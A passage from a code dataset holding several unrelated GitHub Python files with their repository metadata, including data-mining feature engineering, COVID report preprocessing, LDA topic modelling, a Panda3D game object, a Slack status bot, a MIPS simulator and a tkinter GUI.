dict(zip(question_metadata['QuestionId'],question_metadata['SubjectId']))\nlen(QuestionId2SubjectId)\n\n\n# 获取历史的能力\ndef get_history_ability_list(df):\n    history_ability_list = []\n    for ym,UserId in tqdm_notebook(zip(df['DateAnswered_YearMonth'],df['UserId'])):\n        history_ability = user_history_ability_dict.get(ym, {}).get(UserId, 0.5)\n        history_ability_list.append(history_ability)\n    return history_ability_list\n# 获取历史知识点的能力\ndef add_history_subject_ability_list(df,n = 10):\n    history_ability_list = []\n    for ym, UserId, QuestionId in tqdm_notebook(zip(df['DateAnswered_YearMonth'], df['UserId'], df['QuestionId'])):\n        feature_list = []\n        for i,SubjectId in enumerate(QuestionId2SubjectId[QuestionId],1):\n            value = user_history_subject_ability_dict.get(\n                ym, {}).get((UserId,SubjectId), 0.5)\n            feature_list.append(value)\n        feature_list = feature_list+[0.5]*n\n        history_ability_list.append(feature_list[:n])\n    tmp = pd.DataFrame(np.array(history_ability_list), columns=[\n                       \"history_subject_ability_{}\".format(i) for i in range(1, n+1)])\n    df = pd.concat([tmp,df],axis=1)\n    return df\n\n\ndef merge_df(df_path, pkl_path):\n    df = pd.read_csv(df_path)\n    df = df.merge(answer_metadata, how='left')\n    df_add_student_info = df.merge(student_metadata, how='left')\n    df_add_subejct = add_subject_col(df_add_student_info, n=10)\n    df_add_subejct['question_difficulty'] = df_add_subejct['QuestionId'].map(\n        question_difficulty_dict)\n    df_add_subejct['user_ability'] = df_add_subejct['UserId'].map(\n        user_ability_dict)\n    df_add_subejct['DateAnswered_YearMonth'] = df_add_subejct['DateAnswered_Year']*100+df_add_subejct['DateAnswered_Month']\n    # 增加history_ability\n    df_add_subejct['history_ability'] = get_history_ability_list(\n        df_add_subejct)\n    df_add_subejct = add_history_subject_ability_list(df_add_subejct,n=10)\n    with open(pkl_path, 'wb') as f:\n        pickle.dump(df_add_subejct, f)\n    return df_add_subejct\n\n# 获取lbe_dict\n\n\ndef get_lbe_dict(df, features):\n    df[features] = df[features].fillna('-1', )\n    lbe_dict = {}\n    for feat in features:\n        df[feat] = df[feat].apply(int)\n        lbe = LabelEncoder()\n        lbe.fit(df[feat])\n        lbe_dict[feat] = lbe\n    return lbe_dict\n\n\ndef encode_df(df, lbe_dict, feature_names):\n    random.seed(0)\n    for feat in tqdm_notebook(feature_names):\n        df[feat] = df[feat].fillna('-1', )\n        lbe = lbe_dict[feat]\n        df[feat] = df[feat].apply(int)\n        lbe_class_dict = dict(zip(lbe.classes_, lbe.classes_))\n        df[feat] = df[feat].map(lambda s: random.choice(\n            lbe.classes_) if s not in lbe_class_dict else s)\n        df[feat] = lbe.transform(df[feat])\n    return df\n\n\nanswer_features = ['GroupId', 'QuizId', 'SchemeOfWorkId','DateAnswered_Year', 'DateAnswered_Month','Confidence']\nfeature_names = ['subject_1', 'subject_2', 'subject_3', 'subject_4', 'subject_5',\n                 'subject_6', 'subject_7', 'subject_8', 'subject_9', 'subject_10',\n                 'QuestionId', 'UserId', 'Gender', 'PremiumPupil',\n                 'DateOfBirth_Year', 'DateOfBirth_Month','DateAnswered_YearMonth']+answer_features\n\n\ndf_path = '../data/public_data/train_data/train_task_1_2.csv'\npkl_path = os.path.join(data_dir,'raw_train.pkl')\npkl_encode_path = os.path.join(data_dir,'raw_train_encode.pkl')\n\ndf = merge_df(df_path,pkl_path) \n\n\n\ndf['DateAnswered_YearMonth'] = df['DateAnswered_Year']*100+df['DateAnswered_Month'] \n\n\n\nuser_history_ability_dict = {}\nfor ym in tqdm_notebook(df['DateAnswered_YearMonth'].unique()):\n    df_ym = df[df['DateAnswered_YearMonth']<ym].copy()\n    if df_ym.shape[0]==0:\n        continue\n    user_history_ability = df_ym.groupby('UserId')['IsCorrect'].mean().to_dict()\n    user_history_ability_dict[ym] = user_history_ability\n\n\nwith open('../data/离线实验/user_history_ability_dict.pkl','wb') as f:\n    pickle.dump(user_history_ability_dict,f)\n\n\ndef get_history_ability_list(df):\n    history_ability_list = []\n    for ym,UserId in tqdm_notebook(zip(df['DateAnswered_YearMonth'],df['UserId'])):\n        history_ability = user_history_ability_dict.get(ym, {}).get(UserId, 0.5)\n        history_ability_list.append(history_ability)\n    return history_ability_list\n\ndf['history_ability'] = get_history_ability_list(df) \n\n\nquestion_metadata =  pd.read_csv('../data/public_data/metadata/question_metadata_task_1_2.csv')\nquestion_metadata['SubjectId'] = question_metadata['SubjectId'].apply(eval)\nquestion_metadata['subject_num'] = question_metadata['SubjectId'].apply(len)\n\n\nQuestionId2SubjectId = dict(zip(question_metadata['QuestionId'],question_metadata['SubjectId']))\nlen(QuestionId2SubjectId)\n\nnew_list = []\nfor _,row in question_metadata.iterrows():\n    for SubjectId in row['SubjectId']:\n        new_list.append({\"SubjectId\":SubjectId,\"QuestionId\":row['QuestionId']})\n\nquestion_metadata_flatten = pd.DataFrame(new_list)\n\ndf_raw_add_subject = df_raw[['QuestionId', 'UserId', 'IsCorrect',\n                             'DateAnswered_YearMonth']].merge(question_metadata_flatten)\n\n\n\nuser_history_subject_ability_dict = {}\nfor ym in tqdm_notebook(df_raw_add_subject['DateAnswered_YearMonth'].unique()):\n    df_ym = df_raw_add_subject[df_raw_add_subject['DateAnswered_YearMonth']<ym].copy()\n    if df_ym.shape[0]==0:\n        continue\n    user_history_subject_ability = df_ym.groupby(['UserId','SubjectId'])['IsCorrect'].mean().to_dict()\n    user_history_subject_ability_dict[ym] = user_history_subject_ability\n\nwith open('../data/离线实验/user_history_subject_ability_dict.pkl','wb') as f:\n    pickle.dump(user_history_subject_ability_dict,f)\n\n\ndef add_history_subject_ability_list(df,n = 10):\n    history_ability_list = []\n    for ym, UserId, QuestionId in tqdm_notebook(zip(df['DateAnswered_YearMonth'], df['UserId'], df['QuestionId'])):\n        feature_list = []\n        for i,SubjectId in enumerate(QuestionId2SubjectId[QuestionId],1):\n            value = user_history_subject_ability_dict.get(\n                ym, {}).get((UserId,SubjectId), 0.5)\n            feature_list.append(value)\n        feature_list = feature_list+[0.5]*n\n        history_ability_list.append(feature_list[:n])\n    tmp = pd.DataFrame(np.array(history_ability_list), columns=[\n                       \"history_subject_ability_{}\".format(i) for i in range(1, n+1)])\n    df = pd.concat([tmp,df],axis=1)\n    return df\n\n\ndf_tmp = add_history_subject_ability_list(df_raw[:20000]) ","repo_name":"tal-ai/TAL_Nips2020EC","sub_path":"task_2/deep_ctr_methods/feature_engineering.py","file_name":"feature_engineering.py","file_ext":"py","file_size_in_byte":9795,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"19"}
{"seq_id":"38187848299","text":"import pandas as pd\nimport numpy as np\nimport math\nimport os.path\n\nDAYS_COUNT = {4: 30, 5: 31, 6: 30, 7: 31, 8: 31, 9: 26}\nPER_STATE_DATA_PATH = './data/daily_report_per_states/'\nKEPT_FIELDS = [\"Confirmed\", \"Deaths\", \"Recovered\", \"Active\", \"FIPS\", \"Incident_Rate\", \"People_Tested\",\n               \"People_Hospitalized\", \"Mortality_Rate\", \"UID\", \"ISO3\", \"Testing_Rate\", \"Hospitalization_Rate\"]\n\n\ndef file_exists(path):\n    if(os.path.isfile(path)):\n        return True\n    return False\n\n\ndef reset_all_state_files():\n    states_file = PER_STATE_DATA_PATH + 'states/states.csv'\n    states = pd.read_csv(states_file, engine=\"python\")\n    for index, row in states.iterrows():\n        state = row.loc['State']\n        path = PER_STATE_DATA_PATH + state + \".csv\"\n        if(not file_exists(path)):\n            open(path, \"x\")\n        file = open(path, \"w\")\n        file.truncate()\n        init_row = \"Date\"\n        for field in KEPT_FIELDS:\n            init_row += \",\" + field\n        init_row += \"\\n\"\n        file.write(init_row)\n\n\ndef day_str(date):\n    if (date < 10):\n        return \"0\" + str(date)\n    return str(date)\n\n# partition input data by state\n\n\ndef partition_state(data, date):\n    for index, row in data.iterrows():\n        state_csv_file = PER_STATE_DATA_PATH + \\\n            row.loc[\"Province_State\"] + \".csv\"\n        if (not file_exists(state_csv_file)):\n            continue\n        csv_row = date\n        for field in row.values[5:]:\n            if (isinstance(field, str)):\n                csv_row = csv_row + ',' + field\n            elif (math.isnan(field)):\n                csv_row = csv_row + ','\n            else:\n                csv_row = csv_row + ',' + str(field)\n        csv_row = csv_row + \"\\n\"\n        with open(state_csv_file, 'a') as fd:\n            fd.write(csv_row)\n        # append csv files\n\n\ndef main():\n    reset_all_state_files()\n\n    for month in DAYS_COUNT:\n        for day in range(1, DAYS_COUNT[month]+1):\n            date = \"0\" + str(month) + \"-\" + day_str(day)\n            filename = date + \"-2020.csv\"\n            file_path = './data/daily_report/' + filename\n            if(not file_exists(file_path)):\n                continue\n            daily_report_data = pd.read_csv(file_path, engine=\"python\")\n            partition_state(daily_report_data, date)\n            # add methods here\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"alimz758/Covid19-Prediction-Model-----UCLA-CS145-----Intro-to-Data-Mining","sub_path":"project/utils/input_preprocessor.py","file_name":"input_preprocessor.py","file_ext":"py","file_size_in_byte":2366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"42666910730","text":"if __name__ == '__main__':\n    import gensim\n    from gensim import corpora\n    from gensim.models import LdaModel\n    import jieba\n    import os\n\n    # 加载停用词\n    stop_words = set()\n    with open(\"stopwordlist.txt\", \"r\", encoding=\"utf-8\") as file:\n        for line in file:\n            stop_words.add(line.strip())\n\n\n    # 分词函数\n    def tokenize(text):\n        words = jieba.cut(text)\n        return [word for word in words if word not in stop_words]\n\n\n    # 读取文本文件\n    def read_documents(directory):\n        documents = []\n        for filename in os.listdir(directory):\n            with open(os.path.join(directory, filename), \"r\", encoding=\"utf-8\") as file:\n                text = file.read()\n                documents.append(tokenize(text))\n        return documents\n\n\n    # 从文件夹中读取文档\n    document_directory = \"/Users/wei/PycharmProjects/wordfreq/documents\"\n    documents = read_documents(document_directory)\n\n    # 创建词典和文档-词频矩阵\n    dictionary = corpora.Dictionary(documents)\n    corpus = [dictionary.doc2bow(doc) for doc in documents]\n\n    # 训练LDA模型\n    num_topics = 5  # 指定主题数量\n    lda_model = LdaModel(corpus, num_topics=num_topics, id2word=dictionary, passes=15)\n\n    # 打印每个主题的词语分布\n    topics = lda_model.print_topics(num_topics=num_topics, num_words=10)\n    for topic in topics:\n        print(topic)\n","repo_name":"weiucas/wordfreq","sub_path":"LDA_topic_ch.py","file_name":"LDA_topic_ch.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"74083921002","text":"from panda3d.core import Point3\n\nfrom direct.actor.Actor import Actor\nfrom direct.distributed.DistributedNode import DistributedNode\nfrom direct.distributed.ClockDelta import globalClockDelta\nfrom direct.directnotify.DirectNotifyGlobal import directNotify\nfrom direct.fsm.ClassicFSM import ClassicFSM\nfrom direct.fsm.State import State\nfrom direct.interval.IntervalGlobal import LerpPosInterval, LerpColorScaleInterval, Sequence, Parallel, Wait, Func\n\nimport ButterflyGlobals\nimport random\n\nclass DistributedButterfly(DistributedNode):\n    notify = directNotify.newCategory('DistributedButterfly')\n\n    def __init__(self, cr):\n        DistributedNode.__init__(self, cr)\n        self.wingType = None\n        self.hood = None\n        self.butterfly = None\n        self.shadow = None\n        self.flyTrack = None\n        self.fsm = ClassicFSM('DBF', [State('off', self.enterOff, self.exitOff),\n                                      State('sit', self.enterSit, self.exitSit),\n                                      State('fly', self.enterFly, self.exitFly)],\n                              'off', 'off')\n        self.fsm.enterInitialState()\n\n    def setWingType(self, wingType):\n        self.wingType = wingType\n\n    def setHood(self, hood):\n        self.hood = hood\n\n    def setState(self, state, fromLoc, toLoc, timestamp = None):\n        if timestamp is not None:\n            ts = globalClockDelta.localElapsedTime(timestamp)\n        else:\n            ts = 0.0\n\n        self.fsm.request(ButterflyGlobals.StateIdx2State[state], [fromLoc, toLoc, ts])\n\n\n    def enterOff(self):\n        pass\n\n    def exitOff(self):\n        pass\n\n    def enterSit(self, fromLoc, toLoc, ts = 0.0):\n        self.butterfly.loop('land')\n        spot = ButterflyGlobals.Spots[self.hood][toLoc]\n        self.setPos(spot)\n        self.shadow.setColorScale(0, 0, 0, 1)\n        self.shadow.show()\n\n    def exitSit(self):\n        self.butterfly.stop()\n\n    def enterFly(self, fromLoc, toLoc, ts = 0.0):\n        endLoc = ButterflyGlobals.Spots[self.hood][toLoc]\n        startLoc = ButterflyGlobals.Spots[self.hood][fromLoc]\n        distance = (endLoc - startLoc).length()\n        time = distance / ButterflyGlobals.Speed\n\n        mp = Point3((endLoc.getX() + startLoc.getX()) / 2.0,\n                    (endLoc.getY() + startLoc.getY()) / 2.0,\n                    (endLoc.getZ() + startLoc.getZ()) / 2.0)\n        mp.setZ(mp.getZ() + random.uniform(10.0, 20.0))\n\n        self.setPos(startLoc)\n        self.headsUp(endLoc)\n        self.setH(self.getH() - 180)\n\n        self.flyTrack = Parallel(\n            LerpColorScaleInterval(self.shadow, 1.0, (0, 0, 0, 0), (0, 0, 0, 1)),\n            Sequence(LerpPosInterval(self, time / 2.0, mp, startLoc, blendType = 'easeIn'),\n                     LerpPosInterval(self, time / 2.0, endLoc, mp, blendType = 'easeOut')),\n            Sequence(Func(self.butterfly.loop, 'flutter'),\n                     Wait(time - (time / 4.0)),\n                     Func(self.butterfly.loop, 'glide'),\n                     Wait(time / 4.0),\n                     Func(self.butterfly.loop, 'land'))\n        )\n        self.flyTrack.start(ts)\n\n    def exitFly(self):\n        self.stopFlyTrack()\n\n    def stopFlyTrack(self):\n        if self.flyTrack:\n            self.flyTrack.finish()\n        self.flyTrack = None\n\n    def generate(self):\n        self.butterfly = Actor('phase_4/models/props/SZ_butterfly-mod.bam', {'flutter': 'phase_4/models/props/SZ_butterfly-flutter.bam',\n                                                                             'glide': 'phase_4/models/props/SZ_butterfly-glide.bam',\n                                                                             'land': 'phase_4/models/props/SZ_butterfly-land.bam'})\n        self.butterfly.reparentTo(self)\n        self.shadow = loader.loadModel(\"phase_3/models/props/drop_shadow.bam\")\n        self.shadow.setBillboardAxis(2)\n        self.shadow.setColor(0, 0, 0, 0.5, 1)\n        self.shadow.setScale(0.08)\n        self.shadow.reparentTo(self)\n        DistributedNode.generate(self)\n\n    def announceGenerate(self):\n        DistributedNode.announceGenerate(self)\n\n        for wingType in range(1, 7):\n            if wingType != self.wingType:\n                self.butterfly.find(\"**/wings_\" + str(wingType)).removeNode()\n\n        self.reparentTo(render)\n\n    def disable(self):\n        self.fsm.requestFinalState()\n        self.stopFlyTrack()\n        if self.shadow:\n            self.shadow.removeNode()\n        self.shadow = None\n        if self.butterfly:\n            self.butterfly.cleanup()\n            self.butterfly.removeNode()\n        self.butterfly = None\n        self.hood = None\n        self.wingType = None\n        self.fsm = None\n        DistributedNode.disable(self)","repo_name":"Cog-Invasion-Online/cio-src","sub_path":"game/src/coginvasion/hood/playground/DistributedButterfly.py","file_name":"DistributedButterfly.py","file_ext":"py","file_size_in_byte":4736,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"19"}
{"seq_id":"11825396474","text":"import pykka\nfrom slack_utils import wrapper\nfrom collections import namedtuple\nimport requests\nfrom dateutil import parser\nimport json\n\n\ndef get_color(predicate):\n    return \"good\" if predicate else \"danger\"\n\n\ndef act(url):\n    try:\n        response = requests.get(url)\n        raw_content = response.content.decode('utf-8')\n        live_report = json.loads(raw_content, object_hook=lambda d: namedtuple('X', d.keys())(*d.values()))\n\n        wrapper.print(\"\", title=\"{0} - {1}\".format(live_report.ServiceName, live_report.Version), color=\"good\",\n                      fallback=\"Service status\")\n\n        wrapper.print(\"\", title=\"RabbitMq\", color=get_color(live_report.IsRabbitMqAlive), fallback=\"Rabbit status\")\n        wrapper.print(\"\", title=\"Database\", color=get_color(live_report.IsDatabaseAlive),\n                      fallback=\"Database status\")\n\n        for transmission in live_report.TransmissionStatistics:\n            date = parser.parse(transmission.TransmissionsDate)\n            title = \"Transmission for: {0}\".format(date.strftime(\"%Y-%B-%d\"))\n            text = \"Published {0} messages, failed {1}. \\n Consumed {2} message, failed {3}\".format(\n                transmission.SuccedPublishedMessage, transmission.FailedToPublishedMessage,\n                transmission.ConsumedMessage, transmission.FailedToConsumeMessage)\n            wrapper.print(\"\", text=text, title=title, fallback=\"title\")\n    except:\n        wrapper.print(\"\", title=\"Service is on url {0} is unavailable\".format(url), color=\"danger\")\n\n\nclass ServiceStatusActor(pykka.ThreadingActor):\n    def on_receive(self, message):\n        message_content = message.get(\"text\", None)\n\n        if message_content == \"!status\":\n            act(\"http://localhost:5000\")\n","repo_name":"mccsoft/slack-bot","sub_path":"actors/service_status_actor.py","file_name":"service_status_actor.py","file_ext":"py","file_size_in_byte":1740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"29705549309","text":"T = int(input())\n \nfor t in range(1, T + 1):\n    N = int(input())\n    money = [50000, 10000, 5000, 1000, 500, 100, 50, 10]\n    rest = N    # divmod 함수에 첫 입력값 할당 후 반복하기 위해 N을 rest에 대입\n    print(f'#{t}')\n    for m in money:         # quotient == 몫\n        quotient, rest = divmod(rest, m)          # 큰 수를 할 때 빠름\n        # quotient, rest = (rest // m, rest % m)      # 작은 수를 할 때 빠름\n        print(quotient, end=' ')\n    print()","repo_name":"RUNGOAT/Algorithm_study","sub_path":"학습용/easy_rest_money.py","file_name":"easy_rest_money.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"8261334676","text":"'''\nCreated on Nov 16, 2011\n\n@author: jcg\n'''\n\nfrom Features.Feature import Feature\nimport Functions\nfrom uuid import uuid4\n\nclass Motif(Feature):\n    \"\"\"\n    Motif Feature\n        solution - solution where motif score should be searched\n        label - some label to append to the name\n        pwm - position weights matrix (PWM) of the motif to be analyzed\n        motif_range - start and end position where we should look for the motif - a tuple in the form (start, end)  \n        mutable_region - a list with all bases that can be mutated\n        cds_region - a pair with begin and end of CDSs - example: (0,100)\n        keep_aa - boolean option indicating if in the design mode amino acids should be kept        \n    \"\"\"\n    def __init__(self, motifObject=None, solution=None, label=\"\", args = { 'pwm' : None,\n                                                         'motif_range' : (0,9), \n                                                         'mutable_region' : None, \n                                                         'cds_region' : None, \n                                                         'keep_aa' : True }):\n        \n        if motifObject == None: #create new instance        \n            #General properties of feature\n            Feature.__init__(self, solution=solution, label=label)\n            #Specifics of this Feature\n            self.pwm                = args['pwm']\n            self.motif_range        = args['motif_range']\n            self.sequence           = solution.sequence[self.motif_range[0]:self.motif_range[1]+1]\n            self.mutable_region     = [i-self.motif_range[0] for i in set(range(self.motif_range[0],self.motif_range[1]+1)) & set(args['mutable_region'])] if args.has_key('mutable_region') else solution.mutable_region\n            self.cds_region         = args['cds_region']    if args.has_key('cds_region') else solution.cds_region\n            self.keep_aa            = args['keep_aa']        if args.has_key('keep_aa') else solution.keep_aa        \n            self.set_scores()\n            self.set_level()        \n        else: #copy instance\n            Feature.__init__(self, solution=motifObject.solution, label=motifObject.label)\n            self.pwm                = motifObject.pwm\n            self.motif_range        = motifObject.motif_range \n            self.sequence           = motifObject.sequence \n            self.mutable_region     = motifObject.mutable_region \n            self.cds_region         = motifObject.cds_region \n            self.keep_aa            = motifObject.keep_aa         \n            self.scores             = motifObject.scores\n    \n    def set_scores(self, scoring_function = Functions.analyze_pwm_score):\n        self.scores = Functions.appendLabelToDict(scoring_function(self.sequence,self.pwm), self.label)\n\n\nclass MotifScore(Motif):\n    \"\"\"\n    Manipulate the motif score\n    \"\"\"\n    def __init__(self, motifObject, label = \"\"):\n        Motif.__init__(self,motifObject)\n        self.label = self.label + label\n        self.set_level()\n    \n    def mutate(self, operator=Functions.SimplePWMScoreOperator):\n        if not self.targetInstructions:\n            return None\n        \n        new_seq = list(self.solution.sequence)\n        mutated_seq = operator(self.sequence, self.pwm, self.targetInstructions['direction'], self.mutable_region, keep_aa=self.keep_aa)\n        \n        if mutated_seq == None:\n            return None\n        else:\n            new_seq[self.motif_range[0]:self.motif_range[1]+1] = list(mutated_seq)\n        new_seq = \"\".join(new_seq) \n                \n        return Solution.Solution(sol_id=str(uuid4().int), sequence=new_seq, cds_region = self.cds_region, mutable_region = self.mutable_region, parent=self.solution, design=self.solution.designMethod)\n    \n    def defineTarget(self,desiredSolution):\n        '''\n        Function that determines if a target wasn't hit, and if not updates targetDirections \n        '''\n        if desiredSolution == None:\n            return True\n    \n        targetLevel = desiredSolution[self.label+self.__class__.__name__+\"Level\"]\n        currentLevel = self.level\n        \n        # Check if there's an associated target position\n        if desiredSolution.has_key(self.label+\"MotifPositionLevel\") and self.solution.levels[self.label+\"MotifPositionLevel\"] != desiredSolution[self.label+self.__class__.__name__+\"Level\"]:\n            #first we need to set the right position level\n            return False\n        else:\n            if currentLevel == targetLevel:\n                return False\n            elif currentLevel > targetLevel:\n                self.targetInstructions['direction'] = '-' #decrease\n            else:\n                self.targetInstructions['direction'] = '+' #increase\n                \n            return True\n    \nclass MotifPosition(Motif):\n    \"\"\"\n    Manipulate the motif score\n    \"\"\"\n    def __init__(self, motifObject, label = \"\"):\n        Motif.__init__(self,motifObject)\n        self.label = self.label + label\n        self.set_level()\n    \n    def defineTarget(self,desiredSolution):\n        '''\n        Function that determines if a target wasn't hit, and if not updates targetDirections \n        '''\n        if desiredSolution == None:\n            return True\n        \n        targetLevel = desiredSolution[self.label+self.__class__.__name__+\"Level\"]\n        currentLevel = self.level            \n        \n        if currentLevel != targetLevel:\n            desiredMotifPosition = self.solution.designMethod.thresholds[self.label+self.__class__.__name__][targetLevel]\n            self.targetInstructions['position'] = desiredMotifPosition\n            return True\n        else:\n            return False\n\n                    \n    def mutate(self, operator=Functions.SimplePWMPositionOperator):\n        if not self.targetInstructions:\n            return None\n        \n        new_seq = list(self.solution.sequence)\n        mutated_seq = operator(self.sequence, self.pwm, self.targetInstructions['position'], self.mutable_region, keep_aa=self.keep_aa)\n        if mutated_seq == None:\n            return None\n        else:\n            new_seq[self.motif_range[0]:self.motif_range[1]+1] = list(mutated_seq)\n        new_seq = \"\".join(new_seq) \n                \n        return Solution.Solution(sol_id=str(uuid4().int), sequence=new_seq, cds_region = self.cds_region, mutable_region = self.mutable_region, parent=self.solution, design=self.solution.designMethod)\n    \nimport Solution   ","repo_name":"smsaladi/d-tailor","sub_path":"Features/Motif.py","file_name":"Motif.py","file_ext":"py","file_size_in_byte":6481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"19"}
{"seq_id":"10862155800","text":"import torch\nfrom torch.utils.data import Dataset\nfrom pytorch_pretrained_bert import BertTokenizer\n\n\ndef pad(token_ids, pad_value=0, expected_length=512):\n    num_to_pad = expected_length - len(token_ids)\n    return token_ids + [pad_value] * num_to_pad\n\n\nclass SentencesDataset(Dataset):\n    def __init__(self, data, size=None):\n        self.data = data\n        self.size = size\n\n        tokenizer = BertTokenizer.from_pretrained('bert-base-uncased', do_lower_case=True)\n        self.pad_vid = tokenizer.vocab['[PAD]']\n\n    def __len__(self):\n        return self.size or len(self.data)\n\n    def __getitem__(self, idx):\n        # src_subtoken_idxs, labels, segments_ids, cls_ids, src_txt, tgt_txt\n        input_ids, labels, segments_ids, cls_ids, _, _ = self.data[idx]\n\n        input_t = torch.Tensor(pad(input_ids, pad_value=self.pad_vid)).long()\n        segments_t = torch.Tensor(pad(segments_ids)).long()\n        cls_t = torch.Tensor(pad(cls_ids, pad_value=-1)).long()\n        labels_t = torch.Tensor(pad(labels)).float()\n        attention_mask = 1 - (input_t == self.pad_vid)\n        cls_mask = 1 - (cls_t == -1)\n        return input_t, attention_mask, segments_t, cls_t, cls_mask, labels_t\n","repo_name":"xelibrion/topcoder-summarization","sub_path":"src/nnet/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":1195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"23512192836","text":"#!/usr/bin/python\n\n# Melissa Xie, Courtney Sims\n# EECE 3230 Final Project\n# Prof. Fei, April 2012\n\n# maps available opcodes to their instruction\ninstr_dict = {'000000':'add',\n              '001000':'addi',\n              '000100':'beq',\n              '100011':'lw',\n              '101011':'sw',\n              '000010':'j',\n              '111111':'hlt'}\n\ndef bin_to_int(s):\n    \"\"\"Converts a binary string into an integer representation\"\"\"\n    return int(s, 2)\n\nclass Nop(object):\n    \"\"\"Represents a NOP\"\"\"\n    pass\n\n\nclass Instruction(object):\n    \"\"\"Represents a MIPS instruction.\"\"\"\n    global instr_dict\n\n    def __init__(self,addr,opcode,rem):\n        \"\"\"Initializes this Instruction.\"\"\"\n        self.addr = addr\n        self.opcode = opcode\n        self.rem = rem\n        self.instr = instr_dict[opcode]\n        self.alu_result = None\n\n    def __str__(self):\n        \"\"\"Returns a string representation of this Instruction.\"\"\"\n        return 'addr: %s , opcode: %s'% (self.addr,self.opcode)\n\n\n\nclass RInstruction(Instruction):\n    \"\"\"Represents an R-type MIPS instruction.\"\"\"\n\n    def __init__(self,addr,opcode,rem):\n        \"\"\"Initializes this RInstruction.\"\"\"\n        super(RInstruction,self).__init__(addr,opcode,rem)\n        self.rs = bin_to_int(rem[:5])\n        self.rt = bin_to_int(rem[5:10])\n        self.rd = bin_to_int(rem[10:15])\n        self.shamt = bin_to_int(rem[15:20])\n        self.funct = bin_to_int(rem[20:])\n        self.c_signals = { 'RegDst': 1,\n                           'ALUSrc': 0,\n                           'MemtoReg': 0,\n                           'RegWrite': 1,\n                           'MemRead': 0,\n                           'MemWrite': 0,\n                           'Branch': 0,\n                           'ALUOp1': 1,\n                           'ALUOp0': 0,\n                           'Jump': 0 }\n\n    def __str__(self):\n        \"\"\"Returns a string representation of this RInstruction.\"\"\"\n        return '%s %s, %s, %s' % (self.instr, self.rd, self.rs, self.rt)\n\n\n\nclass IInstruction(Instruction):\n    \"\"\"Represents an I-type MIPS instruction.\"\"\"\n\n    def __init__(self,addr,opcode,rem):\n        \"\"\"Initializes this IInstruction.\"\"\"\n        super(IInstruction,self).__init__(addr,opcode,rem)\n        self.rs = bin_to_int(rem[:5])\n        self.rt = bin_to_int(rem[5:10])\n        self.imm = bin_to_int(rem[10:]) # do we need to worry about sign extension?\n        self.c_signals = self.set_control_signals(self.instr)\n\n    def __str__(self):\n        \"\"\"Returns a string representation of this IInstruction.\"\"\"\n        return '%s %s, %s, %s' % (self.instr, self.rt, self.rs, self.imm)\n\n\n    def set_control_signals(self,instr):\n        \"\"\"Sets control signals according to the instruction.\"\"\"\n        signals = { 'RegDst': 0,\n                    'ALUSrc': 0,\n                    'MemtoReg': 0,\n                    'RegWrite': 0,\n                    'MemRead': 0,\n                    'MemWrite': 0,\n                    'Branch': 0,\n                    'ALUOp1': 0,\n                    'ALUOp0': 0,\n                    'Jump': 0 }\n\n        if instr == 'lw':\n            for s in ['ALUSrc','MemtoReg','RegWrite','MemRead']:\n                signals[s] = 1\n        elif instr == 'sw':\n            for s in ['ALUSrc','MemWrite']:\n                signals[s] = 1\n        elif instr == 'addi':\n            for s in ['ALUSrc','RegWrite']:\n                signals[s] = 1\n        elif instr == 'beq':\n            for s in ['Branch','ALUOp0']:\n                signals[s] = 1\n\n        return signals\n\n\nclass JInstruction(Instruction):\n    \"\"\"Represents a J-type MIPS instruction.\"\"\"\n\n    def __init__(self,addr,opcode,rem):\n        \"\"\"Initializes this JInstruction.\"\"\"\n        super(JInstruction,self).__init__(addr,opcode,rem)\n        self.target = bin_to_int(rem)*4\n        self.c_signals = { 'RegDst': 0,\n                           'ALUSrc': 0,\n                           'MemtoReg': 0,\n                           'RegWrite': 0,\n                           'MemRead': 0,\n                           'MemWrite': 0,\n                           'Branch': 0,\n                           'ALUOp1': 0,\n                           'ALUOp0': 0,\n                           'Jump': 1 }\n\n    def __str__(self):\n        \"\"\"Returns a string representation of this JInstruction.\"\"\"\n        return '%s %s' % (self.instr, self.target)\n\n\n\nclass HLTInstruction(Instruction):\n    \"\"\"Represents a HLT.\"\"\"\n\n    def __init__(self,addr,opcode,rem):\n        \"\"\"Initializes this HLT.\"\"\"\n        super(HLTInstruction,self).__init__(addr,opcode,rem)\n\n    def __str__(self):\n        \"\"\"Returns a string representation of this HLTInstruction.\"\"\"\n        return 'addr: %s , opcode: %s , rem: %s' % (self.addr, self.opcode, self.rem)\n","repo_name":"mxie/architecture-simulator","sub_path":"instruction.py","file_name":"instruction.py","file_ext":"py","file_size_in_byte":4723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"12651627107","text":"# https://pythonguides.com/python-tkinter-table-tutorial/#Python_Tkinter_Table_with_Scrollbar\n\nimport tkinter as tk\nfrom  tkinter import ttk\n\n\nws  = tk.Tk()\nws.title('Equipment Library')\nws.geometry('640x480')\nbgColour = '#292F36'\nheaderColour = \"#4ECDC4\"\ntextColour = \"#F7FFF7\"\nws['bg'] = bgColour\nttk.Style().configure(\"Treeview\", background=bgColour, \n                    foreground=textColour, fieldbackground=bgColour)\nwindow_frame = tk.Frame(ws, background=bgColour)\nwindow_frame.pack()\n\n# Header\nl1 = tk.Label(window_frame, text=\"Scan your card to log in\", background=headerColour, foreground=textColour, width=\"100\", height=\"2\", font='Helvetica 14 bold')\nl1.pack()\n\n# TextBox Creation\ndef callback(event):\n    global sv\n    print(sv.get())\n    return\nsv = tk.StringVar()\n# sv.trace(\"w\", lambda name, index, mode, sv=sv:callback(sv))\ne = tk.Entry(window_frame, textvariable=sv)\ne.bind(\"<Enter>\",  callback)\ne.pack()\n\n#scrollbar\nscroller = tk.Scrollbar(window_frame,orient='vertical')\nscroller.pack(side=tk.RIGHT, 